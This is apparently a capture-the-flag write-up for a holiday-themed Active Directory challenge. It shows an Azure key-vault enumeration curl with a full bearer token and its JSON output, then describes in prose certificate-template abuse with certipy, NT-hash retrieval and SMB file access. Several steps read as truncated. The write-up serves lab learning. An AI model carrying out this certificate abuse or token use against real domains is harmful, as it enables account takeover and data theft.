📒Active Directory
Steampunk Island: Coggoggle Marina
For this challenge, we are tasked with performing a security audit of the Active Directory environment that is tied to the prior challenge, Certificate SSHenanigans. Solving this challenge involved enumeration of Azure REST API endpoints to find domain information & credentials. Then, using all of that to identify & exploit certificate vulnerabilites in the Active Directory environment.
We start out with our ssh connection as alabaster from the prior challenge. We can send a curl request to an api endpoint with our token from the prior challenge to enumerate key vaults.
alabaster@ssh-server-vm:~$ curl https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults?api-version=2022-07-01 -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjVCM25SeHRRN2ppOGVORGMzRnkwNUtmOTdaRSIsImtpZCI6IjVCM25SeHRRN2ppOGVORGMzRnkwNUtmOTdaRSJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tLyIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzkwYTM4ZWRhLTQwMDYtNGRkNS05MjRjLTZjYTU1Y2FjYzE0ZC8iLCJpYXQiOjE3MDQyNTQ1NTQsIm5iZiI6MTcwNDI1NDU1NCwiZXhwIjoxNzA0MzQxMjU0LCJhaW8iOiJFMlZnWUxoZm5lOHNJUHAxSWRPbVdURTZwb2NyQUE9PSIsImFwcGlkIjoiYjg0ZTA2ZDMtYWJhMS00YmNjLTk2MjYtMmUwZDc2Y2JhMmNlIiwiYXBwaWRhY3IiOiIyIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkLyIsImlkdHlwIjoiYXBwIiwib2lkIjoiNjAwYTNiYzgtN2UyYy00NGU1LThhMjctMThjM2ViOTYzMDYwIiwicmgiOiIwLkFGRUEybzZqa0FaQTFVMlNUR3lsWEt6QlRVWklmM2tBdXRkUHVrUGF3ZmoyTUJQUUFBQS4iLCJzdWIiOiI2MDBhM2JjOC03ZTJjLTQ0ZTUtOGEyNy0xOGMzZWI5NjMwNjAiLCJ0aWQiOiI5MGEzOGVkYS00MDA2LTRkZDUtOTI0Yy02Y2E1NWNhY2MxNGQiLCJ1dGkiOiI3dnNWSGdIRURVZVZudDRja2YybUJnIiwidmVyIjoiMS4wIiwieG1zX2F6X3JpZCI6Ii9zdWJzY3JpcHRpb25zLzJiMDk0MmYzLTliY2EtNDg0Yi1hNTA4LWFiZGFlMmRiNWU2NC9yZXNvdXJjZWdyb3Vwcy9ub3J0aHBvbGUtcmcxL3Byb3ZpZGVycy9NaWNyb3NvZnQuQ29tcHV0ZS92aXJ0dWFsTWFjaGluZXMvc3NoLXNlcnZlci12bSIsInhtc19jYWUiOiIxIiwieG1zX21pcmlkIjoiL3N1YnNjcmlwdGlvbnMvMmIwOTQyZjMtOWJjYS00ODRiLWE1MDgtYWJkYWUyZGI1ZTY0L3Jlc291cmNlZ3JvdXBzL25vcnRocG9sZS1yZzEvcHJvdmlkZXJzL01pY3Jvc29mdC5NYW5hZ2VkSWRlbnRpdHkvdXNlckFzc2lnbmVkSWRlbnRpdGllcy9ub3J0aHBvbGUtc3NoLXNlcnZlci1pZGVudGl0eSIsInhtc190Y2R0IjoxNjk4NDE3NTU3fQ.zFksRV5m6St57zmMuLWaW_u-LFhK7aTQeXfOzhTuAv-kvSKoe6zlh1fYTsMNNShn_6XA_4pVfHN-5eLrqvbua3kfsdSTzqwkb11I3dDDpnST1jk74OOzAiN9SHmlrd0f7ahVbkNl45cf8it6sQQ6mM0PF-8DQTbhTPmWcIx9CUzdc7fcbx8mP_I7U04z6Y6zalHqk07J-zieKz-5KmVDrDvGIL0ZlUcSFd-tweo4bs6WD5sHiQxyceB_EoYazuKSn2Vhp5qamfXKNAe9aXbx6W_B8rUAZ8XXn2Z-w-ERSHa3viwpVYI1KiELxLu6uYg90DgVg8mwWpB3TkZDsDqflw"
{"value":[{"id":"/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-it-kv","name":"northpole-it-kv","type":"Microsoft.KeyVault/vaults","location":"eastus","tags":{},"systemData":{"createdBy":"[email protected]","createdByType":"User","createdAt":"2023-10-30T13:17:02.532Z","lastModifiedBy":"[email protected]","lastModifiedByType":"User","lastModifiedAt":"2023-10-30T13:17:02.532Z"},"properties":{"sku":{"family":"A","name":"Standard"},"tenantId":"90a38eda-4006-4dd5-924c-6ca55cacc14d","accessPolicies":[],"enabledForDeployment":false,"enabledForDiskEncryption":false,"enabledForTemplateDeployment":false,"enableSoftDelete":true,"softDeleteRetentionInDays":90,"enableRbacAuthorization":true,"vaultUri":"https://northpole-it-kv.vault.azure.net/","provisioningState":"Succeeded","publicNetworkAccess":"Enabled"}},{"id":"/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-ssh-certs-kv","name":"northpole-ssh-certs-kv","type":"Microsoft.KeyVault/vaults","location":"eastus","tags":{},"systemData":{"createdBy":"[email protected]","createdByType":"User","createdAt":"2023-11-12T01:47:13.059Z","lastModifiedBy":"[email protected]","lastModifiedByType":"User","lastModifiedAt":"2023-11-12T01:50:52.742Z"},"properties":{"sku":{"family":"A","name":"standard"},"tenantId":"90a38eda-4006-4dd5-924c-6ca55cacc14d","accessPolicies":[{"tenantId":"90a38eda-4006-4dd5-924c-6ca55cacc14d","objectId":"0bc7ae9d-292d-4742-8830-68d12469d759","permissions":{"keys":["all"],"secrets":["all"],"certificates":["all"],"storage":["all"]}},{"tenantId":"90a38eda-4006-4dd5-924c-6ca55cacc14d","objectId":"1b202351-8c85-46f1-81f8-5528e92eb7ce","permissions":{"secrets":["get"]}}],"enabledForDeployment":false,"enableSoftDelete":true,"softDeleteRetentionInDays":90,"vaultUri":"https://northpole-ssh-certs-kv.vault.azure.net/","provisioningState":"Succeeded","publicNetworkAccess":"Enabled"}}],"nextLink":"https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults?api-version=2022-07-01&$skiptoken=bm9ydGhwb2xlLXNzaC1jZXJ0cy1rdg=="}The next step is to get a vault cookie from the API endpoint & then use that cookie to enumerate domain information through the key vault identified in our last step.
Next we use these credentials to: A) Enumerate other users on the machine using the Impacket tools conveniently placed on the machine. We identify wombleycube in this step as a target user.
B) Look for certificate vulnerabilities that we can exploit to gain access to wombley's account. We can find that there
Our output identified NorthPoleUsers as a vulnerable template.
From here, we can exploit the certificate vulnerability using certipy. We can use this to request a certificate as another user, in this case WombleyCube
Then, we authenticate the certificate against certipy in order to get an NT hash.
The NT hash allows us to authenticate as wombleycube using SMBClient to access files on the FileShare share. We get a bunch of cookie recipes! Plus, a passphrase for the Door Access Speaker, & the flag for our challenge.
Last updated